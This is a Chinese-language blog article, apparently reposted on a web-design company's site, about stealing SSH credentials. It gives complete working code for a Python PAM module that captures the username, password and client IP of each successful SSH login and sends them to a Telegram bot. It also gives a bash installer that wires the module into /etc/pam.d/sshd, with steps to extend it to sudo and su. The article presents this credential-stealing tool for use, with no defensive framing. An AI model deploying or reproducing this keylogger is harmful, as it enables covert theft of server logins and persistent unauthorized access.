這篇文章將為大家詳細(xì)講解有關(guān)竊取SSH憑證的方法說是什么,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。
創(chuàng)新互聯(lián)公司自2013年創(chuàng)立以來,先為射洪等服務(wù)建站,射洪等地企業(yè),進行企業(yè)商務(wù)咨詢服務(wù)。為射洪企業(yè)網(wǎng)站制作PC+手機+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問題。
我將為大家介紹另外一種獲取ssh密碼的方法。這種方法是我在ChokePoint找到的 ,他向我們展示了如何使用python創(chuàng)建PAM模塊記錄失敗的嘗試,現(xiàn)在我要做的就是更改登錄密碼的地方。原腳本中當(dāng)?shù)卿浭r,使用的auth_log函數(shù)。
if not check_pw(user, resp.resp): auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp)) return pamh.PAM_AUTH_ERR return pamh.PAM_SUCCESS
而在我的腳本中,當(dāng)?shù)卿洺晒r使用的是我定義的函數(shù)sendMessage
if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS
該函數(shù)主要用于發(fā)送用戶,密碼以及連接的IP,以下是完整代碼:
import spwd import crypt import requests def sendMessage(msg): apiKey = 'BOT-API-KEY' userId = 'USERID' url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg) r = requests.get(url) def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pw def pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:')) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS def pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS
我還創(chuàng)建了一個bash腳本用于自動化的安裝這個ssh keylogger,其中安裝了所有的依賴關(guān)系,并在/etc/pam.d/sshd上配置了該PAM模塊
#!/bin/bash # Install dependencies to create a PAM module using python (Except for python-pip) apt-get install python-pam libpam-python python-pip # Install dependencies python pip install requests # Check if exist the entrie on pam, for this module if ! grep -Fq "looter.py" /etc/pam.d/sshd;then sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshd fi code=' import spwd import crypt import requests def sendMessage(msg): apiKey = "API-KEY" userId = "USER-ID" data = {"chat_id":userId,"text":msg} url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey) r = requests.post(url,json=data) def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pw def pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:")) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS def pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESS def pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS ' mkdir -p /lib/security/ echo "$code" > /lib/security/looter.py /etc/init.d/ssh restart
現(xiàn)在,只要有人成功登錄了服務(wù)器,你就會收到以下的登錄信息。
它也適用于sudo和su,只需添加以下代碼
auth requisite pam_python.so looter.py
到下面兩個文件中
/etc/pam.d/sudo /etc/pam.d/su
或者你也可以直接git clone該項目并按照README.md上的說明進行操作
git clone https://github.com/mthbernardes/sshLooter.git
關(guān)于竊取SSH憑證的方法說是什么就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
本文名稱:竊取SSH憑證的方法說是什么
鏈接URL:http://jinyejixie.com/article12/pdsddc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供定制開發(fā)、全網(wǎng)營銷推廣、用戶體驗、軟件開發(fā)、標(biāo)簽優(yōu)化、品牌網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)